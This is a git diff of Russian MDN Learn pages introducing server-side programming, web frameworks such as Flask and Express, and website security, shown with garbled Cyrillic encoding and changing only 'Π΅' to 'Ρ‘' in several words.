-<p>Π’ этом ΠΌΠΎΠ΄ΡƒΠ»Π΅, посвящСнном ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ Π½Π° сторонС сСрвСра, ΠΌΡ‹ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΠΌ Π½Π° нСсколько Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Ρ… вопросов ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ сСрвСрной части: Β«Ρ‡Ρ‚ΠΎ это Ρ‚Π°ΠΊΠΎΠ΅?Β», Β«Ρ‡Π΅ΠΌ ΠΎΠ½ΠΎ отличаСтся ΠΎΡ‚ программирования клиСнтской части?Β» ΠΈ Β«ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΎΠ½ΠΎ Ρ‚Π°ΠΊ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ?Β». Π—Π°Ρ‚Π΅ΠΌ послСдуСт ΠΎΠ±Π·ΠΎΡ€ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… самых популярных Π²Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠ² для сСрвСрной части ΠΈ руководство ΠΏΠΎ Π²Ρ‹Π±ΠΎΡ€Ρƒ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ подходящСго Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ° для создания вашСго ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ сайта. НаконСц, ΠΌΡ‹ Π·Π°Π²Π΅Ρ€ΡˆΠΈΠΌ этот ΠΌΠΎΠ΄ΡƒΠ»ΡŒ Π²Π²ΠΎΠ΄Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ΠΉ ΠΎ бСзопасности Π²Π΅Π±-сСрвСра.</p>
+<p>Π’ этом ΠΌΠΎΠ΄ΡƒΠ»Π΅, посвящённом ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ Π½Π° сторонС сСрвСра, ΠΌΡ‹ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΠΌ Π½Π° нСсколько Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Ρ… вопросов ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ сСрвСрной части: Β«Ρ‡Ρ‚ΠΎ это Ρ‚Π°ΠΊΠΎΠ΅?Β», Β«Ρ‡Π΅ΠΌ ΠΎΠ½ΠΎ отличаСтся ΠΎΡ‚ программирования клиСнтской части?Β» ΠΈ Β«ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΎΠ½ΠΎ Ρ‚Π°ΠΊ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ?Β». Π—Π°Ρ‚Π΅ΠΌ послСдуСт ΠΎΠ±Π·ΠΎΡ€ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… самых популярных Π²Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠ² для сСрвСрной части ΠΈ руководство ΠΏΠΎ Π²Ρ‹Π±ΠΎΡ€Ρƒ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ подходящСго Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ° для создания вашСго ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ сайта. НаконСц, ΠΌΡ‹ Π·Π°Π²Π΅Ρ€ΡˆΠΈΠΌ этот ΠΌΠΎΠ΄ΡƒΠ»ΡŒ Π²Π²ΠΎΠ΄Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΡ‘ΠΉ ΠΎ бСзопасности Π²Π΅Π±-сСрвСра.</p>
<h2 id="ΠŸΡ€Π΅ΠΆΠ΄Π΅_Ρ‡Π΅ΠΌ_Π½Π°Ρ‡Π°Ρ‚ΡŒ">ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π½Π°Ρ‡Π°Ρ‚ΡŒ</h2>
@@ -41,9 +41,9 @@ translation_of: Learn/Server-side/First_steps
<dt><a href="/ru/docs/Learn/Server-side/First_steps/Web_frameworks">Π€Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ сСрвСрной части</a></dt>
<dd>ПослСдняя ΡΡ‚Π°Ρ‚ΡŒΡ рассказываСт ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ сСрвСрной стороны для ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° запросы ΠΎΡ‚ Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. ΠœΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ здСсь, ΠΊΠ°ΠΊ Π²Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΡƒΠΏΡ€ΠΎΡΡ‚ΠΈΡ‚ΡŒ эти Π·Π°Π΄Π°Ρ‡ΠΈ ΠΈ ΠΏΠΎΠΌΠΎΠΆΠ΅ΠΌ Π²Π°ΠΌ ΠΏΠΎΠ΄ΠΎΠ±Ρ€Π°Ρ‚ΡŒ подходящий Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ для вашСго ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ сСрвСрного Π²Π΅Π±-прилоТСния.</dd>
<dt><a href="/ru/docs/Learn/Server-side/First_steps/Website_security">Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ Π²Π΅Π±-сайта</a></dt>
- <dd>Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ Π²Π΅Π±-сайта Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π±Π΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π½Π° всСх этапах проСктирования сайта ΠΈ Π΅Π³ΠΎ использования. Π­Ρ‚Π° вводная ΡΡ‚Π°Ρ‚ΡŒΡ Π½Π΅ сдСлаСт ΠΈΠ· вас Π³ΡƒΡ€Ρƒ бСзопасности сайтов, Π½ΠΎ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠ΅ ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π²Π°ΠΆΠ½Ρ‹Π΅ шаги Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ для ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ устойчивости вашСго Π²Π΅Π±-прилоТСния ΠΏΡ€ΠΎΡ‚ΠΈΠ² Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных ΡƒΠ³Ρ€ΠΎΠ·.</dd>
+ <dd>Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ Π²Π΅Π±-сайта Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π±Π΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π½Π° всСх этапах проСктирования сайта ΠΈ Π΅Π³ΠΎ использования. Π­Ρ‚Π° вводная ΡΡ‚Π°Ρ‚ΡŒΡ Π½Π΅ сдСлаСт ΠΈΠ· вас Π³ΡƒΡ€Ρƒ бСзопасности сайтов, Π½ΠΎ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠ΅ ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π²Π°ΠΆΠ½Ρ‹Π΅ шаги Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ для ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ устойчивости вашСго Π²Π΅Π±-прилоТСния ΠΏΡ€ΠΎΡ‚ΠΈΠ² Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённых ΡƒΠ³Ρ€ΠΎΠ·.</dd>
</dl>
<h2 id="АттСстация">АттСстация</h2>
-<p>Π­Ρ‚ΠΎΡ‚ "ΠΎΠ±Π·ΠΎΡ€Π½Ρ‹ΠΉ" ΠΌΠΎΠ΄ΡƒΠ»ΡŒ Π½Π΅ содСрТит Π½ΠΈΠΊΠ°ΠΊΠΎΠΉ аттСстации, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹ Π΄Π°ΠΆΠ΅ Π½Π΅ ΠΏΡ€ΠΈΠ»Π°Π³Π°Π΅ΠΌ здСсь для вас Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°. ΠœΡ‹ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ надССмся, Ρ‡Ρ‚ΠΎ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ этапС Ρƒ вас ΡΡ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π»ΠΎΡΡŒ Ρ‡Π΅Ρ‚ΠΊΠΎΠ΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΈΠ΅ Π²ΠΈΠ΄Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Π° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π½Π° сторонС сСрвСра, ΠΈ Π²Ρ‹ ΡƒΠΆΠ΅ приняли Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΠΎ ΠΏΠΎΠ²ΠΎΠ΄Ρƒ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для создания вашСго ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ сайта.</p>
+<p>Π­Ρ‚ΠΎΡ‚ "ΠΎΠ±Π·ΠΎΡ€Π½Ρ‹ΠΉ" ΠΌΠΎΠ΄ΡƒΠ»ΡŒ Π½Π΅ содСрТит Π½ΠΈΠΊΠ°ΠΊΠΎΠΉ аттСстации, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹ Π΄Π°ΠΆΠ΅ Π½Π΅ ΠΏΡ€ΠΈΠ»Π°Π³Π°Π΅ΠΌ здСсь для вас Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°. ΠœΡ‹ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ надССмся, Ρ‡Ρ‚ΠΎ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ этапС Ρƒ вас ΡΡ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π»ΠΎΡΡŒ Ρ‡Ρ‘Ρ‚ΠΊΠΎΠ΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΈΠ΅ Π²ΠΈΠ΄Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Π° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π½Π° сторонС сСрвСра, ΠΈ Π²Ρ‹ ΡƒΠΆΠ΅ приняли Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΠΎ ΠΏΠΎΠ²ΠΎΠ΄Ρƒ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для создания вашСго ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ сайта.</p>
diff --git a/files/ru/learn/server-side/first_steps/web_frameworks/index.html b/files/ru/learn/server-side/first_steps/web_frameworks/index.html
index 29f5d6330c..25b9ec408e 100644
--- a/files/ru/learn/server-side/first_steps/web_frameworks/index.html
+++ b/files/ru/learn/server-side/first_steps/web_frameworks/index.html
@@ -235,7 +235,7 @@ def youngest(request):
<p><span class="tlid-translation translation" lang="ru"><span title=""><a href="http://flask.pocoo.org/">Flask</a> </span></span>β€”<span class="tlid-translation translation" lang="ru"><span title=""> это микрофрСймворк для Python.</span><br>
<br>
- <span title="">И хотя Flask минималистичСн, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΡΠ΅Ρ€ΡŒΠ΅Π·Π½Ρ‹Π΅ Π²Π΅Π±-сайты ΠΈΠ· ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ.</span> <span title="">Он содСрТит сСрвСр Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ ΠΎΡ‚Π»Π°Π΄Ρ‡ΠΈΠΊ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ <a href="https://github.com/pallets/jinja">Jinja2</a>, бСзопасныС Ρ„Π°ΠΉΠ»Ρ‹ cookie, <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5">ΠΌΠΎΠ΄ΡƒΠ»ΡŒΠ½ΠΎΠ΅ тСстированиС</a> ΠΈ Π΄ΠΈΡΠΏΠ΅Ρ‚Ρ‡Π΅Ρ€ΠΈΠ·Π°Ρ†ΠΈΡŽ запросов <a href="http://www.restapitutorial.com/lessons/restfulresourcenaming.html">RESTful</a>.</span> <span title="">Π£ Π½Π΅Π³ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠ°Ρ докумСнтация ΠΈ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ΅ сообщСство.</span></span></p>
+ <span title="">И хотя Flask минималистичСн, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΡΠ΅Ρ€ΡŒΡ‘Π·Π½Ρ‹Π΅ Π²Π΅Π±-сайты ΠΈΠ· ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ.</span> <span title="">Он содСрТит сСрвСр Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ ΠΎΡ‚Π»Π°Π΄Ρ‡ΠΈΠΊ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ <a href="https://github.com/pallets/jinja">Jinja2</a>, бСзопасныС Ρ„Π°ΠΉΠ»Ρ‹ cookie, <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5">ΠΌΠΎΠ΄ΡƒΠ»ΡŒΠ½ΠΎΠ΅ тСстированиС</a> ΠΈ Π΄ΠΈΡΠΏΠ΅Ρ‚Ρ‡Π΅Ρ€ΠΈΠ·Π°Ρ†ΠΈΡŽ запросов <a href="http://www.restapitutorial.com/lessons/restfulresourcenaming.html">RESTful</a>.</span> <span title="">Π£ Π½Π΅Π³ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠ°Ρ докумСнтация ΠΈ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ΅ сообщСство.</span></span></p>
<p><span class="tlid-translation translation" lang="ru"><span title="">Flask стал Ρ‡Ρ€Π΅Π·Π²Ρ‹Ρ‡Π°ΠΉΠ½ΠΎ популярным, особСнно для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Π²Π΅Π±-сСрвисы Π² Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… систСмах с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ рСсурсами (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, запуск Π²Π΅Π±-сСрвСра Π½Π° <a href="https://www.raspberrypi.org/">Raspberry Pi</a>, <a href="https://www.raspberrypi.org/">ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Ρ‹ Drone</a> ΠΈ Ρ‚. ΠΏ.)</span></span>.</p>
@@ -243,7 +243,7 @@ def youngest(request):
<p><a href="http://expressjs.com/">Express</a> β€” быстрый, Π½Π΅ΠΏΡ€ΠΈΠ½ΡƒΠΆΠ΄Ρ‘Π½Π½Ρ‹ΠΉ, Π³ΠΈΠ±ΠΊΠΈΠΉ ΠΈ минималистский Π²Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ для <a href="https://nodejs.org/en/">Node.js</a> (node β€” это сСрвСрная срСда для запуска JavaScript). Он обСспСчиваСт Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ для Π²Π΅Π± ΠΈ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΈ прСдоставляСт ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ HTTP-ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Ρ‹ ΠΈ <a href="/en-US/docs/Glossary/Middleware">middleware</a>Β (ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹Π΅ интСрфСйсы).</p>
-<p><span class="tlid-translation translation" lang="ru">Express Ρ‡Ρ€Π΅Π·Π²Ρ‹Ρ‡Π°ΠΉΠ½ΠΎ популярСн, частично ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΎΠ±Π»Π΅Π³Ρ‡Π°Π΅Ρ‚ ΠΌΠΈΠ³Ρ€Π°Ρ†ΠΈΡŽ клиСнтских Π²Π΅Π±-программистов JavaScript Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Π½Π° сторонС сСрвСра, Π° частично ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ рСсурсоэффСктивСн (базовая срСда ΡƒΠ·Π»ΠΎΠ² ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π»Π΅Π³ΠΊΡƒΡŽ ΠΌΠ½ΠΎΠ³ΠΎΠ·Π°Π΄Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ Π² ΠΏΠΎΡ‚ΠΎΠΊΠ΅, Π° Π½Π΅ ΠΏΠΎΡ€ΠΎΠΆΠ΄Π°Π΅Ρ‚ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ процСссы для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π½ΠΎΠ²Ρ‹ΠΉ Π²Π΅Π±-запроса).</span></p>
+<p><span class="tlid-translation translation" lang="ru">Express Ρ‡Ρ€Π΅Π·Π²Ρ‹Ρ‡Π°ΠΉΠ½ΠΎ популярСн, частично ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΎΠ±Π»Π΅Π³Ρ‡Π°Π΅Ρ‚ ΠΌΠΈΠ³Ρ€Π°Ρ†ΠΈΡŽ клиСнтских Π²Π΅Π±-программистов JavaScript Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Π½Π° сторонС сСрвСра, Π° частично ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ рСсурсоэффСктивСн (базовая срСда ΡƒΠ·Π»ΠΎΠ² ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π»Ρ‘Π³ΠΊΡƒΡŽ ΠΌΠ½ΠΎΠ³ΠΎΠ·Π°Π΄Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ Π² ΠΏΠΎΡ‚ΠΎΠΊΠ΅, Π° Π½Π΅ ΠΏΠΎΡ€ΠΎΠΆΠ΄Π°Π΅Ρ‚ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ процСссы для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π½ΠΎΠ²Ρ‹ΠΉ Π²Π΅Π±-запроса).</span></p>
<p><span class="tlid-translation translation" lang="ru">ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Express являСтся минималистским Π²Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠΌ, ΠΎΠ½ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя всС ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, доступ ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈ сСансов ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π΅Ρ€Π΅Π· нСзависимыС Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ). Π•ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹Ρ… нСзависимых ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ², Π½ΠΎ ΠΈΠ½ΠΎΠ³Π΄Π° Π±Ρ‹Π²Π°Π΅Ρ‚ слоТно Ρ€Π΅ΡˆΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠΉ ΠΈΠ· Π½ΠΈΡ… Π»ΡƒΡ‡ΡˆΠ΅ всСго ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ Ρ†Π΅Π»ΠΈ!Β </span></p>
diff --git a/files/ru/learn/server-side/first_steps/website_security/index.html b/files/ru/learn/server-side/first_steps/website_security/index.html
index 514d7490a5..1f976dd741 100644
--- a/files/ru/learn/server-side/first_steps/website_security/index.html
+++ b/files/ru/learn/server-side/first_steps/website_security/index.html
@@ -8,7 +8,7 @@ original_slug: Learn/Server-side/First_steps/Π’Π΅Π±_Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ
<div>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div>
-<p class="summary">Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ сайта Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π±Π΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π²ΠΎ всСх аспСктах Π΄ΠΈΠ·Π°ΠΉΠ½Π° ΠΈ использования сайта. Π­Ρ‚Π° вводная ΡΡ‚Π°Ρ‚ΡŒΡ Π½Π΅ сдСлаСт ΠΈΠ· вас Π³ΡƒΡ€Ρƒ бСзопасности Π²Π΅Π±-сайта, Π½ΠΎ ΠΎΠ½Π° ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΎΡ‚ΠΊΡƒΠ΄Π° приходят ΡƒΠ³Ρ€ΠΎΠ·Ρ‹, ΠΈ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΡ€Π΅ΠΏΠΈΡ‚ΡŒ своС Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Β Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных Π°Ρ‚Π°ΠΊ.</p>
+<p class="summary">Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ сайта Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π±Π΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π²ΠΎ всСх аспСктах Π΄ΠΈΠ·Π°ΠΉΠ½Π° ΠΈ использования сайта. Π­Ρ‚Π° вводная ΡΡ‚Π°Ρ‚ΡŒΡ Π½Π΅ сдСлаСт ΠΈΠ· вас Π³ΡƒΡ€Ρƒ бСзопасности Π²Π΅Π±-сайта, Π½ΠΎ ΠΎΠ½Π° ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΎΡ‚ΠΊΡƒΠ΄Π° приходят ΡƒΠ³Ρ€ΠΎΠ·Ρ‹, ΠΈ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΡ€Π΅ΠΏΠΈΡ‚ΡŒ своё Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Β Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённых Π°Ρ‚Π°ΠΊ.</p>
<table class="learn-box standard-table">
<tbody>
